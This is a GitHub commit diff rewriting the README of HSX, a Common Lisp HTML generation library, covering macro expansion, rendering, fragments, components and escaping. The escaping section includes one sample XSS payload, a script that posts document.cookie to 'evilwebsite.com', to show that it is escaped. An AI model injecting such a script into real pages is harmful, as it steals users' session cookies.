Update README.md

This commit is contained in:
Akira Tempaku 2025-03-28 15:20:57 +09:00 committed by GitHub
parent aa1efe72cd
commit 3801d12303
No known key found for this signature in database
GPG key ID: B5690EEEBB952194

193
README.md
View file

@ -1,151 +1,188 @@
# HSX # HSX Hypertext S-expression
HSX (Hypertext S-expression) is a simple and powerful HTML (Living Standard) **HSX** is a lightweight and expressive HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax via S-expressions.
generation library for Common Lisp.
This project is a fork of [ailisp/flute](https://github.com/ailisp/flute/). > 🚧 **ALPHA NOTICE:**
> This library is still in early development. APIs may change.
> See [release notes](https://code.skyizwhite.dev/paku/hsx/releases) for details.
## Warning ## ⚙️ How HSX Works
This software is still in ALPHA quality. The APIs are likely to change. Every tag or component inside an `(hsx ...)` form is transformed into a Lisp expression of the form:
Please check the [release notes](https://code.skyizwhite.dev/paku/hsx/releases) ```lisp
for updates. (create-element type props children)
```
## Getting Started For example:
### Basic Usage
Use the `hsx` macro to create HTML elements. Attributes are specified using a
property list after the element name, and child elements are nested directly
inside.
```lisp ```lisp
(hsx (hsx
(div :id "example" :class "container" (article :class "container"
(h1 "Welcome to HSX") (h1 "Title")
(p "This is an example paragraph."))) (p "Paragraph")
(~share-button :service :x))
```
Is internally transformed (by macro expansion) into:
```lisp
(create-element :article '(:class "container")
(list
(create-element :h1 nil (list "Title"))
(create-element :p nil (list "Paragraph"))
(create-element #'~share-button '(:service :x) (list))))
``` ```
This generates: This is made possible via the hsx macro, which detects HTML tags and components, then rewrites them using create-element. Tags are converted to keywords (e.g., div → :div), and custom components (starting with ~) are passed as functions.
This uniform representation allows rendering, manipulation, and analysis of the HTML structure in a Lisp-friendly way.
## 🚀 Quick Example
```lisp
(hsx
(div :id "main" :class "container"
(h1 "Hello, HSX!")
(p "This is a simple paragraph.")
(ul
(loop for i from 1 to 3 collect
(hsx (li (format nil "Item ~a" i)))))))
```
Generates:
```html ```html
<div id="example" class="container"> <div id="main" class="container">
<h1>Welcome to HSX</h1> <h1>Hello, HSX!</h1>
<p>This is an example paragraph.</p> <p>This is a simple paragraph.</p>
<ul>
<li>Item 1</li>
<li>Item 2</li>
<li>Item 3</li>
</ul>
</div> </div>
``` ```
To convert an HSX object into an HTML string, use the `render-to-string` ## 📝 Rendering
function:
Use `render-to-string` to convert an HSX structure to a string of HTML:
```lisp ```lisp
(render-to-string (render-to-string
(hsx ...)) (hsx ...))
``` ```
### Embedding Content ## 🔐 Escaping Behavior
HSX allows you to embed Common Lisp forms directly within your HTML structure. All elements automatically escape special characters in both content and attributes to prevent XSS and HTML injection:
When working with HSX elements inside embedded Lisp forms, you should use the
`hsx` macro again.
```lisp ```lisp
(hsx (hsx
(div (div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))
(p :id (format nil "id-~a" (random 100)))
(ul
(loop
:for i :from 1 :to 5 :collect
(hsx (li (format nil "Item ~a" i)))))
(if (> (random 10) 5)
(hsx (p "Condition met!"))
(hsx (p "Condition not met!")))))
``` ```
Outputs:
This might generate:
```html ```html
<div> <div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>
<p id="id-42"></p>
<ul>
<li>Item 1</li>
<li>Item 2</li>
<li>Item 3</li>
<li>Item 4</li>
<li>Item 5</li>
</ul>
<p>Condition not met!</p>
</div>
``` ```
### Using Fragments Use the special tag `raw!` to inject trusted, unescaped HTML:
To group multiple elements without adding an extra wrapper, use the fragment ```lisp
`<>`. (hsx
(article (raw! "HTML text here ..."))
```
## 🧩 Fragments
Use `<>` tag to group multiple sibling elements without wrapping them in a container tag:
```lisp ```lisp
(hsx (hsx
(<> (<>
(h1 "Grouped Elements") (p "One")
(p "First paragraph.") (p "Two")))
(p "Second paragraph.")))
``` ```
This generates: Outputs:
```html ```html
<h1>Grouped Elements</h1> <p>One</p>
<p>First paragraph.</p> <p>Two</p>
<p>Second paragraph.</p>
``` ```
### Creating Components Note: `raw!` tag is a fragment that disables HTML escaping for its children.
You can define reusable components using the `defcomp` macro. Component names ## 🧱 Components
must begin with a tilde (`~`). Properties should be declared using `&key`,
`&rest`, or both. The body must return an HSX element. Define reusable components using `defcomp` macro. Component names must start with `~`.
*Keyword-style*
```lisp ```lisp
(defcomp ~card (&key title children) (defcomp ~card (&key title children)
(hsx (hsx
(div :class "card" (div :class "card"
(h1 title) (h2 title)
children))) children)))
``` ```
Alternatively, you can use a property list: *Property-list style*
```lisp ```lisp
(defcomp ~card (&rest props) (defcomp ~card (&rest props)
(hsx (hsx
(div :class "card" (div :class "card"
(h1 (getf props :title)) (h2 (getf props :title))
(getf props :children)))) (getf props :children))))
``` ```
Usage example: ### Usage
```lisp ```lisp
(hsx (hsx
(~card :title "Card Title" (~card :title "Hello"
(p "This is a card component."))) (p "This is a card.")))
``` ```
Generates: Outputs:
```html ```html
<div class="card"> <div class="card">
<h1>Card Title</h1> <h2>Hello</h2>
<p>This is a card component.</p> <p>This is a card.</p>
</div> </div>
``` ```
## License ## 🧬 Logic and Interpolation
This project is licensed under the MIT License. You can freely embed Lisp expressions, conditionals, and loops inside HSX forms:
© 2024 Akira Tempaku ```lisp
(hsx
(div
(if (> (random 10) 5)
(hsx (p "High!"))
(hsx (p "Low!")))))
```
Or loop:
```lisp
(hsx
(ul
(loop :for item :in todo-list :collect
(hsx (li item))))))
```
## 🏷️ Built-in Tags
All standard HTML5 tags (and a few extras like `<>`, `raw!`) are automatically defined and exported from the hsx package. You dont need to declare them manually.
## 📄 License
MIT License
• © 2024 Akira Tempaku
• © 2018 Bo Yao (original [flute](https://github.com/ailisp/flute) project)
© 2018 Bo Yao